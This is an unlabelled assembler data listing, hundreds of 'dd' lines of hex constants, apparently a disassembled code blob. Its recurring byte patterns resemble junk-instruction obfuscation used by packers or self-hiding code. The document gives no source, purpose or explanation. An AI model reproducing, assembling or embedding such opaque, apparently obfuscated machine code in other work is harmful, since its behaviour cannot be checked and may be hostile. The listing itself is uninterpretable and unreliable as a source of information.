		dd 0E806A84Fh, 13h, 0C4D450BBh,	0B0BF1862h, 0F496DC0Fh
		dd 4978CF66h, 56B62436h, 15A18D31h, 5B5F06A8h, 6AE1FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 90C27BC3h, 2D9D8B1Dh, 8906A834h, 0A80B01B5h,	0BDBD8306h
		dd 6A80Bh, 4A2840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0A1622FC3h, 0BBDBD83h
		dd 0F0106A8h, 49284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 325AE5F0h, 0E821EF71h
		dd 11h,	0A093EF93h, 2298ED1Dh, 0B1ED0C7Dh, 85CE3219h, 0C38060F3h
		dd 835F61F1h, 0A80BBDBDh, 860F0306h, 411h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 33C35747h, 5E71F3DBh
		dd 85AF645Dh, 14E8h, 74B0000h, 2D21B105h, 0FADAF46Ah, 7E6DAAF4h
		dd 0DE80A3ADh, 5FFC8AECh, 16818D29h, 0F6006A8h,	68Bh, 0C9958900h
		dd 6606A81Bh, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 593272C3h, 80FABF0Fh, 0BF0F04E1h
		dd 0FC90AF9h, 19584h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0CAA0AA89h, 95897AF4h
		dd 6A81631h, 0BE1858Bh,	6A06A8h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0C8CE1FC3h, 98A9FF9Fh
		dd 1D5D8533h, 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 4A0F0EC3h, 0A3D43EBh, 23609799h
		dd 0A8260185h, 1D858B06h, 6106A82Bh, 505B5190h,	583CE0BFh
		dd 6A9034h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 2D994C3h,	7B947681h, 17718589h, 8A0F06A8h
		dd 6, 0CA62E381h, 6A45DDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 6BC35343h, 4E8h, 1F03FF00h, 5E900h, 0F8B50000h
		dd 50A26B41h, 0DF8B5250h, 860F310Fh, 2,	585A5B52h, 424448Bh
		dd 8D7307BFh, 0F008B2Ah, 8Ch, 24448900h, 58DF8B04h, 32F59529h
		dd 95FF06A8h, 6A80741h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 13C35545h, 15BD0B56h,	5F06A805h, 33F56057h
		dd 0A815C1B5h, 895B6106h, 0ABA22785h, 31BD3306h, 8106A814h
		dd 19CB04DBh, 1CFE909h,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 9FE53C3h, 1414D3ABh
		dd 858BC6A7h, 6ABA21Fh,	1F39B589h, 0C706A8h, 18h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 66C35242h, 0D3BAFB71h
		dd 0BD2BB1F5h, 6A805C1h, 8BD98B66h, 0ABA223B5h,	71BD8906h
		dd 8B06A827h, 0A82B7D85h, 0FB8B5706h, 8B06895Bh, 0A80BE185h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 8A783A34h, 2BE37785h, 33BAB7EFh,	0A81999BDh
		dd 4468906h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	36C35646h, 0EC34C62Eh, 80456483h, 0F5018D3h, 387h
		dd 0DF8B6600h, 66243489h, 0FF5593BBh, 0ABA21FB5h, 0F8B70F06h
		dd 0A890Fh, 840F0000h, 4, 2826BF66h, 4A48EE68h,	0FE861h
		dd 1E300000h, 3C270157h, 0FD7DADC8h, 0A735F3DFh, 15830F81h
		dd 0E8000000h, 0Fh, 98DA62FEh, 9D3F39B9h, 7F8CBD73h, 5BD41E6Fh
		dd 2434815Bh, 61554B11h, 8DDFB70Fh, 0ABA22785h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 4BF87FBFh, 8B60CB1Fh, 0A82EA98Dh, 31958906h,	6106A801h
		dd 17870F90h, 0E9000000h, 12h, 3724BD9Bh, 0BE0DC183h, 0C2FDBE24h
		dd 6B005FF2h, 6650DA33h, 6A90FA8Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0DCF9C357h
		dd 939133D8h, 53789D62h, 0B63CF381h, 8B5B4836h,	4195FFF9h
		dd 8906A807h, 0A83199B5h, 6A6106h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 61DCB0C3h, 22D99589h
		dd 85C706A8h, 6A80BBDh,	3, 83DFB70Fh, 0ABA227BDh, 840F0006h
		dd 0Dh,	0E519D8Bh, 1DE906A8h, 8B000000h, 0C3050DAh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0B4C35545h,	2F07453Dh, 0B70FCE51h
		dd 57006AD9h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 5E8F30Ah, 0F6000000h, 0DE6040Bh,	0DA8913BFh
		dd 81665F42h, 8368B6E3h, 0A80BBDBDh, 850F0306h,	3CCh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 9CC35343h, 0AF5C080Fh
		dd 2915E54Dh, 0A81DA195h, 39BF6606h, 27BD834Dh,	6ABA2h
		dd 392840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0EAA87FC3h, 9D1CDE30h, 66D89D02h
		dd 0B5FFDE8Bh, 6ABA227h, 33ED9501h, 95FF06A8h, 6A815F9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 4CC35242h
		dd 0B58BF9F9h, 6ABA21Bh, 3451BD8Bh, 6C706A8h, 10001h, 22319D89h
		dd 850906A8h, 6A8214Dh,	24348950h, 1DE5B589h, 0B5FF06A8h
		dd 6ABA227h, 0A859D8Bh,	816606A8h, 0FF72DED3h, 0A8219995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0D3816684h, 0B70F6CA0h, 1BB58BD8h, 0E806ABA2h
		dd 14h,	372300E7h, 613878B8h, 0BD25B7DFh, 55FE07DEh, 9B6A7AF1h
		dd 0E0E9F381h, 8B5B774Ch, 0A80E4185h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 47A7CBA1h, 1D651C46h, 0C48689h, 860F0000h, 6, 14C9BD8Bh
		dd 958B06A8h, 6A805B9h,	4C283F9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0A3C35040h,	814738AEh, 0C44CAE7h
		dd 25BD030Eh, 8906A815h, 6A2050h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 22B522C3h, 4CF594F8h
		dd 0CE8h, 39BEC800h, 1F562E46h,	0D9F26Ch, 0FEBF0F25h, 0CE858D5Bh
		dd 0F806ABB7h, 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 931DB6C3h, 59D89EEh
		dd 6A06A825h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0FB8101A9h, 0FF7B5B2Ah, 0ABA227B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 4B09DEE7h, 95FFB1FEh, 6A81E1Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 71C35545h, 0B6E781C0h
		dd 0F61FBE0h, 6650F9BFh, 3489D88Bh, 0EF805224h,	0B5FF5FD0h
		dd 6ABA227h, 95FFDA8Bh,	6A82A69h, 8E59D8Bh, 0BD8306A8h
		dd 6A82E3Dh, 1C840F00h,	60000000h, 26918D8Bh, 0BB6606A8h
		dd 9661238Fh, 0AA16F6BBh, 0FE8A504Eh, 0C0CF8196h, 0FF150AD3h
		dd 0ABA227B5h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0CCD7D5h, 0C3815E5Eh
		dd 13EEB5A2h, 95FF00B7h, 6A83185h, 13E9h, 7E37B900h, 0F6E2AD37h
		dd 2B50245h, 0A58A98C5h, 0E2E5C804h, 0A227B5FFh, 0BD2906ABh
		dd 6A82685h, 0F5595FFh,	6A06A8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0C835AAC3h, 0F9F8FD2Ch
		dd 77DBD83h, 0F0206A8h,	5784h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 5EFFDEA5h
		dd 8BE4A903h, 0A80D1985h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0C6CEF54Eh
		dd 0F82122D4h, 0C6F8208Dh, 9D8B0000h, 6A81FA5h,	0DC185C7h
		dd 6A8h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 180424h, 53430000h, 166FE7C3h, 9D8B3DC7h, 6A81B19h
		dd 0FFF3CFE9h, 50006AFFh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 4C45E053h, 0E92C067Ch
		dd 0Dh,	0F14A7DA8h, 0BEF7F3C1h,	0CB3244EEh, 6AC18B1Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 7806C355h, 0A41EBF46h, 6810FC9h, 8B000000h
		dd 0A807F1BDh, 1D9D8906h, 8D06A82Bh, 0A8338585h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0BE8B041h, 8B000000h, 188A0DD5h, 46FC4B57h, 8F0F62CBh
		dd 3, 5BDFBF0Fh, 8B665350h, 4895BDAh, 56006A24h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 8E0D11C7h, 2B4FBF76h, 6A3C35h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 4C35545h, 9D8B006Ah, 6A81B91h
		dd 290A858Dh, 6A06ADh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 98F92EC3h, 8BCCDB8Eh, 0A801E9BDh
		dd 83DA8B06h, 0D98A05C0h, 0E157BB50h, 4896721h,	9BD8B24h
		dd 8B06A81Ch, 6A006AD9h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 8433C356h, 89802478h
		dd 0ED00D187h, 74CF8166h, 6A006A0Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 1035C357h
		dd 4D9D2367h, 0E906A833h, 0Ch, 0D9D2B841h, 9F301120h, 0F623B197h
		dd 254195FFh, 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 7DBFFBC3h, 55BBC47h, 8D8DEB8Dh
		dd 6AB8C7Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	1BC35747h, 0A37B462Ch, 4F7A44F6h, 9D29D1FFh, 6A817B1h
		dd 339DBD83h, 0F0106A8h, 7685h,	56BB6600h, 66026AB6h, 0E9C13DBBh
		dd 0Ah,	0FC6CB1Ah, 95DF8F92h, 60506940h, 6AA2EDB9h, 0F78B6640h
		dd 24048961h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	1DC35545h, 0D9FC7465h, 587C7E5Ah, 95FFFE8Bh, 6A81E1Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7EC35646h
		dd 719589F5h, 0E906A82Ah, 0E61h, 0E8h, 0ED815D00h, 6AD2914h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 41C35141h
		dd 0EE801345h, 15830Fh,	10E90000h, 8C000000h, 0F82A467Dh
		dd 2B4E014Ch, 69E27EE8h, 0F1CFFACh, 858DF9BFh, 6AB7E2Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C1C35141h
		dd 9FA94C80h, 0CF9BD8Bh, 895006A8h, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0D00CCAC3h
		dd 4FFB044Eh, 64FA8B66h, 35FFh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4D7A52C3h
		dd 7E902h, 0DFFC0000h, 94E22BF8h, 298D89B7h, 6406A811h
		dd 2589h, 0B70F0000h, 0F185FFFFh, 8106A833h, 2B2816CFh
		dd 6AFF6A45h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 80BEC356h, 867A65A3h, 51DBD03h
		dd 0B5FF06A8h, 6A83509h, 739BD89h, 95FF06A8h, 6A82A7Dh
		dd 140E9h, 6E800h, 5BA20000h, 0D7EEA373h, 2691BD8Bh, 0B05F06A8h
		dd 919D8B00h, 0E606A819h, 91852970h, 0E406A822h, 68A0F71h
		dd 89000000h, 0A8211D85h, 0F613C06h, 10883h, 398D8900h
		dd 0F06A801h, 3EBFC8B6h, 0BA0752B4h, 6,	0BE857h, 0EB940000h
		dd 78D6925h, 4C1943A7h,	0EE9F0h, 0AF0F0000h, 2CD1FBC6h
		dd 0FBC3C234h, 94835C3Ch, 0C18B5F5Fh, 2304E8C1h, 0A828799Dh
		dd 5FFC5306h, 0FE2F766h, 0C82BFAB7h, 68A0Fh, 9D8B0000h
		dd 6A833D5h, 0CB81D18Bh, 23370C1Eh, 0A0E9h, 31BD8B00h
		dd 8B06A80Dh, 47554C85h, 800F5349h, 6, 21E5B589h, 665B06A8h
		dd 7F14D781h, 8B07C083h, 0A82C51BDh, 0C08306h, 9B7BBF66h
		dd 830FD03Bh, 31h, 12E8h, 0EDFA200h, 9563D742h,	0F8EA206Ch
		dd 9151A88Ch, 0E8B0EB81h, 7, 0AE80D3D7h, 0F8487ADFh, 3EE95F5Bh
		dd 8B000000h, 0A8015DBDh, 0FF8D8B06h, 0FFFFFFFh, 0E183DFBFh
		dd 26840F01h, 29000000h, 0A81499B5h, 0FFA58306h, 0FEFFFFFFh
		dd 66FEBF0Fh, 0F5B3F781h, 554C9589h, 9D8B4947h,	6A806C1h
		dd 0E9h, 0E9B58D00h, 6A06ACA5h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 6A60C353h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 2CBF24C5h, 6660862Ah, 609D2FBBh, 0C2816656h,	0BB5AA74Fh
		dd 196F470h, 3195FF61h,	6006A81Bh, 5F02F181h
		dd 880F0F5Bh, 0
		dd 0EB6B961h, 95090000h, 6A81D71h, 6AFCE183h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0F7FBC352h, 0C87D4656h, 0BF1B5AE4h, 495399EBh, 0A5BD8B60h
		dd 6106A81Fh, 8D8D89FCh, 2B06A828h, 0FE9C0h, 6CF90000h
		dd 6897104h, 8964C7D7h,	6D66F2D3h, 6AD22B42h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0CEE0C356h, 0E7226ACBh, 817E6B9Dh, 83EB28E3h, 0C233AD5Bh
		dd 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 45B81A70h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A7C35747h
		dd 0DF3E37F9h, 8B56E9CAh, 0A800E1BDh, 880DF506h, 66000000h
		dd 0F2D57BBh, 0E82h, 9E900h, 3E400000h,	7BB65912h, 8BC4B8B3h
		dd 0A805B995h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0FA201C93h, 0BD8BCDE2h
		dd 6A810F5h, 14698D8Bh,	8B6606A8h, 0C28B50DEh, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0F66AC350h
		dd 2005BD8Bh, 6A06A8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0F5678C3h, 584h,	0F248BF00h, 835F6815h
		dd 0A80C91BDh, 840F0006h, 84h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 7BC35646h, 5C3058ECh, 0B3CF8137h
		dd 0B833D2BEh, 0
		dd 16EDBD8Bh, 8D8D06A8h, 6A84FAFh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0C35343h, 0ED5502A5h, 8DB58960h
		dd 0FF06A816h, 52006AE1h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0BBACEC2Fh, 35590DDDh
		dd 0BBDBD83h, 0F0006A8h, 4AE84h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0B0BBB57h
		dd 81496E3Bh, 0F3F135CFh, 0BFDE8A5Ch, 6D1260C8h, 0BBDBD83h
		dd 0F0106A8h, 48D84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0F1CF19Fh, 0F85h, 0AE900h
		dd 7BC00000h, 40CBAC55h, 91721D8Fh, 0F817DB81h,	60522733h
		dd 0D5EBC781h, 5E5133EAh, 0BD835F61h, 6A80BBDh,	5860F03h
		dd 81000004h, 0B209D2F7h, 6A6038h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 358500C3h, 69B4A899h
		dd 0EB01BBDEh, 8C6666E1h, 51006AD9h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 68AF9117h
		dd 81AF0083h, 509F1FC7h, 8E932h, 505A0000h, 3D7627Dh, 0E180F870h
		dd 0C90AF904h, 193840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 858B40C3h, 6A80BE1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 9AC35141h
		dd 0E9608F27h, 5, 0F7712A29h, 9DB531FCh, 6106A80Ah, 1D5D8533h
		dd 6A06A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0FC63F0C3h, 23205BEh, 33F99589h, 8A9006A8h
		dd 0BB6650FCh, 0E890015Dh, 0Eh,	0E6B4FFD4h, 0DC26287Dh
		dd 547AA39Fh, 9D296714h, 6A80F8Dh, 6A006A5Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 4F29C355h, 12A63857h, 0F30C3B51h, 1EDD9D89h,	852906A8h
		dd 6A819C5h, 4E8h, 1F03FF00h, 0EE95000h, 15000000h, 158BB6A9h
		dd 1BE08953h, 8372A7D0h, 24448BD2h, 0FB8B6604h,	0D98B008Bh
		dd 4244489h, 14E9h, 0B1382800h,	728ADFFEh, 92B23FE8h, 92685834h
		dd 0E5334C02h, 0BE858FBh, 18000000h, 7B163B93h,	0E8ACA4D3h
		dd 0BD2B84E9h, 6A82BD9h, 4195FF5Bh, 8906A807h, 0A8289995h
		dd 27858906h, 6A06ABA2h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8171C350h, 0A54CC3C7h
		dd 1CBE97Ah, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 24D470C3h, 813653ECh, 58D7E5CFh
		dd 1F858B41h, 6A06ABA2h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 7749C352h, 0D78132F7h
		dd 5E4C0EC3h, 1800C7h, 85890000h, 6A833E1h, 0A223B58Bh
		dd 858906ABh, 6A81755h,	2B7D858Bh, 0DE906A8h, 6B000000h
		dd 152925ABh, 0B1077759h, 0E13C8EB3h, 689DC8Ah,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F0C35141h, 5928F6EFh
		dd 0BFADB8Ch, 0CAE0D781h, 0B70F1D8Ch, 0E1858BDBh, 6606A80Bh
		dd 0ACE2DB81h, 89044689h, 0A82DC58Dh, 880F5006h, 3, 89D98B66h
		dd 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0DB79B2C3h, 5899D01h, 0B5FF06A8h,	6ABA21Fh
		dd 688FDF80h, 676BBDAEh, 5FF98B52h, 51243481h, 0F6774BEh
		dd 88h,	27858D00h, 6A06ABA2h, 3E85600h,	20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 7964C356h, 9AFF3A95h
		dd 0FE9547Ch, 89000000h, 0C4E8E129h, 1571B8B6h,	0D48AD1B1h
		dd 0E950F936h, 14h, 0EDD4375Fh,	0D128BEA9h, 0AF216343h
		dd 9193CE38h, 93DE7173h, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0F7C0C353h
		dd 66562105h, 2CCDEF81h, 4195FF5Fh, 6A06A807h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 7B53C356h, 6C41937Eh, 0CA57412Ch, 9D98B66h, 0A826799Dh
		dd 0BD8B6106h, 6A80C3Dh, 0BBD85C7h, 306A8h, 830F0000h
		dd 4, 41E5BB66h, 0A227BD83h, 0F0006ABh,	3384h, 0F19D8B00h
		dd 0E906A821h, 43h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 1EC35646h, 0C4B9ADECh, 8B166131h, 0F9BF0FF9h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 6BA4C350h, 2890F07h, 0B7000000h, 199D8BA4h
		dd 8306A830h, 0A80BBDBDh, 850F0306h, 409h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0D4C35343h, 27BD83D9h
		dd 6ABA2h, 3DF840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 1BE467C3h, 8A922084h
		dd 12E8h, 4B14C800h, 15A2C39Bh,	8EC7D1E4h, 92D253A8h, 510F5514h
		dd 0C1CF8166h, 0FF5F5FABh, 0ABA227B5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 0F0A57E35h, 0FFEB1E9Ch, 0A815F995h, 10E906h,	64BD0000h
		dd 0F723400Fh, 819643EEh, 7F0C6782h, 8BF54FEFh,	0ABA21BB5h
		dd 106C706h, 6A000100h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0DE1FC357h,	19EE0DF1h
		dd 6840F41h, 9000000h, 0A80A8585h, 0CE95006h, 69000000h
		dd 0D45E569Fh, 7E4356BAh, 899CCEABh, 95892434h,	6A827D1h
		dd 19F19D0Bh, 0B5FF06A8h, 6ABA227h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0BDC35040h,	95FFD9BBh, 6A82199h
		dd 3391B529h, 0B58B06A8h, 6ABA21Bh, 26BD9D8Bh, 858B06A8h
		dd 6A80E41h, 0C48689F9h, 89000000h, 0A80BD9BDh,	0B9958B06h
		dd 0F06A805h, 9D03FAB7h, 6A82671h, 8B04C283h, 205089FAh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7AC35242h
		dd 0A587DD50h, 898F293Fh, 0A80BCD8Dh, 0CE858D06h, 6A06ABB7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0BAA4C355h, 1A299D2Bh, 0B70F06A8h, 0B88689DEh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 544FC350h, 5AC781EBh, 6A5BFFBDh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0DCF5A4FAh, 27B5FF34h, 6A06ABA2h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 2346C352h, 0A80F719Dh, 1D95FF06h, 8906A81Eh,	0A8321985h
		dd 34895006h, 13E824h, 0C2D50000h, 0E991C95Ah, 0DED5A203h
		dd 1F4CAE2Fh, 0BFBDCCC2h, 0FBBF0F0Fh, 27B5FF5Bh, 6A06ABA2h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 3326C353h, 0A81DB1BDh,	6995FF06h
		dd 6606A82Ah, 0BD83DA8Bh, 6A82E3Dh, 48840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8B07C352h, 0A81019BDh, 60509606h,	51BA6656h
		dd 0F605959h, 87h, 61EFB200h, 0CE99661h, 0BF000000h, 27149489h
		dd 0A7AE9819h, 0FF8FAEF0h, 0ABA227B5h, 54C78106h, 815A1A86h
		dd 2373CCD7h, 8595FF27h, 6A06A831h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 2CB7C350h
		dd 68CC3FE2h, 898C3536h, 0A82075BDh, 27B5FF06h,	6A06ABA2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0C0AAC355h, 2089B589h, 8B6606A8h,	5595FFFEh
		dd 6606A80Fh, 24A2DB81h, 77DBD83h, 0F0206A8h, 6984h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 39A48E8Bh, 8BDAB70Fh, 0A80D1985h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 97BBC302h
		dd 0C6F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	31C35141h, 85C7B5B1h, 6A80DC1h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0E3C35343h
		dd 6D62C3DBh, 9E75C9C6h, 0F2BBE9D0h, 830FFFFFh,	3, 8BFB8B66h
		dd 52006AC1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 9BB0D6Ch, 5F5FD72Eh, 0D8D8D57h, 6A06AD38h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 538BC351h, 0C6F680A7h, 5B98D89h, 0C7FC06A8h
		dd 0A8146985h, 5B0006h,	20DC8000h, 16ADBD8Bh, 85C706A8h
		dd 6A80BBDh, 0
		dd 30559D8Bh, 0B5FF06A8h, 6A814A1h, 0AE9h, 9168AD00h, 0D9700A7Ah
		dd 0BE61FBB6h, 59F673E0h, 20DD95FFh, 6A06A8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 9B593C3h
		dd 0A5BBF250h, 6A5E65EFh, 3195FF00h, 8B06A81Bh,	8329EBC0h
		dd 20D3F7EEh, 4BA37E0Bh, 3416098h, 7AB98BBAh, 0B7DC3E62h
		dd 0F3AAFA18h, 1E8A6316h, 6ADDC589h, 726728C4h,	2AF47A43h
		dd 39378D8Dh, 9FC06ADh,	0A8066D95h, 0B98D8906h,	6A06A805h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 59BEC350h, 0BE68354Ah, 6B5EAD68h,	146985C7h
		dd 6B3C06A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 96B6AAC3h, 66507D1Eh, 0C7CC14BFh
		dd 0A80BBD85h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0F916D990h, 818E5E70h
		dd 0EFAAA8EAh, 899D3136h, 0FF06A819h, 0A80E01B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
